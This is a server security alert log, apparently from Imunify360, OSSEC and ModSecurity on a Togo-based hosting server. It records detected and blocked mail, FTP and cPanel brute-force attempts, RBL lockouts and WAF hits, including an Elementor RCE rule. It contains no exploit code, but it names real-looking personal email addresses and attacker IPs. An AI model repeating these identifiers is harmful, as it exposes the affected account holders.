description:
2026-06-05 15:51:11 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13495: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.71.66.60
country_id: 3469034
description:
Jun  5 15:51:17 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.71.66.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.164.64
country_id: 1562822
description:
2026-06-05 15:51:05 dovecot_login authenticator failed for H=([117.1.164.64]) [117.1.164.64]:37093: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 15:51:26 ns5 pure-ftpd[1794773]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 15:51:32 ns5 pure-ftpd[1794773]: (?@103.245.236.231) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:52:12 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13496: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun  5 15:55:18 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.75.243.27
country_id: 6252001
domain: soroubat.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.14||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.66
country_id: 798544
description:
Jun  5 15:56:10 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:56:53 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13504: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 15:57:53 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13506: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.188.101.229
country_id: 1168579
description:
2026-06-05 15:59:41 H=([182.188.101.229]) [182.188.101.229]:55406 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.188.101.229
country_id: 1168579
description:
2026-06-05 15:59:59 H=([182.188.101.229]) [182.188.101.229]:55740 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.25.23
country_id: 2635167
description:
[2026-06-05 16:01:17 +0000] info [cpaneld] 195.63.25.23 - cipvzfnv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.105.158
country_id: 2363686
description:
2026-06-05 16:01:08 dovecot_login authenticator failed for H=(DESKTOPORGRALV) [196.170.105.158]:60436: 535 Incorrect authentication data (set_id=patrick.agbeto@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:01:14 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13525: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:02:16 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13526: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:03:26 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13531: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:referer||MV:https://togodailynews.tg/zlecaf-le-togo-evalue-ses-acquis-et-ses-defis/?swcfpc=1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:04:29 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13534: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:05:31 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13540: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 121.229.156.30
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2330||QS:add-to-cart=2330||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:05:48 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13545: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:07:40 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13550: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:08:43 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13554: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.130
country_id: 3175395
description:
Jun  5 16:09:36 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.112
country_id: 3057568
description:
Jun  5 16:09:12 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.130
country_id: 3175395
description:
Jun  5 16:09:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:09:49 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:13556: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.242.158.144
country_id: 2017370
domain: cloud-et-racks.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-et-racks.tg:80/wp-json/wp/v2/posts HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.38
country_id: 1814991
description:
27.115.124.38 - - [05/Jun/2026:16:10:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581653&pdata=https%253A%252F%252Fsnb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780675846 HTTP/2.0" 302 0 snb.tg "https://snb.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.38


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:10:52 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:12672: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:11:59 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:9728: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:12:59 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:3588: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:14:00 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:3590: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:15:00 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:3593: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:16:01 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:3597: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 16:17:26 +0000] info [cpaneld] 185.213.83.243 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:17:01 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:3600: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:18:11 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:16257: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 16:18:01 ns5 pure-ftpd[1815461]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:19:14 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1169: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 96.255.197.82
country_id: 6252001
domain: ekeasarl.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/1286/feedback||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:20:15 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1203: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 16:20:10 +0000] info [cpaneld] 185.213.83.243 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:21:15 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1205: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.37.31.60
country_id: 3017382
description:
54.37.31.60 - - [05/Jun/2026:16:21:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12883609&pdata=https%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780676486 HTTP/2.0" 302 0 belali.tg "https://belali.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.37.31.60


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 223.109.252.212
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2343||QS:add-to-cart=2343||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:22:16 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1207: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 114.10.41.126
country_id: 1643084
description:
[2026-06-05 16:22:59 +0000] info [cpaneld] 114.10.41.126 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:23:18 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1211: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.53.137.102
country_id: 2510769
description:
Jun  5 16:23:49 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.53.137.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.53.137.102
country_id: 2510769
description:
2026-06-05 16:23:51 dovecot_plain authenticator failed for H=(vrdrmxzf188gwdkb6) [194.53.137.102]:49310: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:24:24 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1218: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.117.120.121
country_id: 130758
description:
[2026-06-05 16:25:14 +0000] info [cpaneld] 93.117.120.121 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 16:25:43 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:62845: 535 Incorrect authentication data (set_id=finanzas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.89
country_id: 1269750
description:
Jun  5 16:25:31 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.80
country_id: 1269750
description:
Jun  5 16:25:17 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.80 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [05/Jun/2026:16:25:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775701&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D16&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780676707 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=16" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:25:24 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1220: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 16:25:41 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:26:24 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1222: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:27:25 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:1226: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:29:25 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:15232: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:30:35 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:2176: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 104.236.41.41
country_id: 6252001
domain: kpmg.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.97.241
country_id: 1880251
domain: 24heureinfo.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.201.160
country_id: 1814991
domain: togoathletisme.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.94.30.247
country_id: 798544
description:
Jun  5 16:32:06 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.94.30.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.140.114
country_id: 732800
description:
Jun  5 16:32:51 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.140.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 16:35:05 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:16260: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.97.131
country_id: 6290252
description:
Jun  5 16:35:30 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.97.131 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 16:36:41 ns5 pure-ftpd[1830656]: (?@103.245.236.231) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 16:36:22 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:63226: 535 Incorrect authentication data (set_id=sqlserver)


plugin: modsec
rule: 77350027
name: IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)||WPU:admin||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 16:36:20 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 16:36:35 ns5 pure-ftpd[1830656]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [05/Jun/2026:16:37:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738394&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdosiapp%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780677457 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dosiapp/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.165.3.15
country_id: 2017370
description:
2026-06-05 16:41:36 H=([5.165.3.15]) [5.165.3.15]:46770 F=<John@4452.com> rejected RCPT <alfred.aguim@emt.tg>: Sender verify failed


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.252
country_id: 6252001
description:
Jun  5 16:40:58 ns5 pure-ftpd[1834073]: (?@198.235.24.252) [INFO] New connection from 198.235.24.252


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.208.92.116
country_id: 6252001
description:
[2026-06-05 16:42:31 +0000] info [whostmgrd] 74.208.92.116 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 74.208.92.116
country_id: 6252001
description:
[2026-06-05 16:42:34 +0000] info [whostmgrd] 74.208.92.116 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.64.104.9
country_id: 2542007
description:
2026-06-05 16:42:58 dovecot_plain authenticator failed for H=(s12961v16x1chvsfa4dl6lp77hz9) [196.64.104.9]:40693: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 16:44:21 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:58682: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 196.169.21.35
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:referer||MV:https://togodailynews.tg/zlecaf-le-togo-evalue-ses-acquis-et-ses-defis/||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 16:47:57 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55980: 535 Incorrect authentication data (set_id=sqlserver)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 16:47:55 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.70.202
country_id: 1512440
description:
2026-06-05 16:49:24 H=([84.54.70.202]) [84.54.70.202]:20047 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.131.20
country_id: 99237
description:
Jun  5 16:49:34 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.131.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.236.85.111
country_id: 3469034
description:
Jun  5 16:50:42 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.236.85.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.131.20
country_id: 99237
description:
Jun  5 16:49:47 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.131.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.16.124
country_id: 2300660
description:
Jun  5 16:49:52 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.16.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.236.85.111
country_id: 3469034
description:
Jun  5 16:50:50 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.236.85.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.19.183
country_id: 2300660
description:
Jun  5 16:51:02 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.19.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.107.172
country_id: 3469034
description:
Jun  5 16:52:33 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.107.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.100.130
country_id: 798544
description:
Jun  5 16:55:22 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.100.130 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 16:55:05 ns5 pure-ftpd[1845095]: (?@47.84.199.24) [WARNING] Authentication failed for user [qB8D4yjk7i]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.235.186.162
country_id: 3469034
description:
Jun  5 17:01:06 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.235.186.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun  5 17:01:11 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-05 17:01:13 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:45196: 535 Incorrect authentication data (set_id=159159159)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.253
country_id: 3469034
description:
Jun  5 17:02:45 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 17:02:29 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:14848: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.241.96
country_id: 2287781
description:
2026-06-05 17:03:26 dovecot_login authenticator failed for H=(ELISABETH) [160.155.241.96]:10112: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
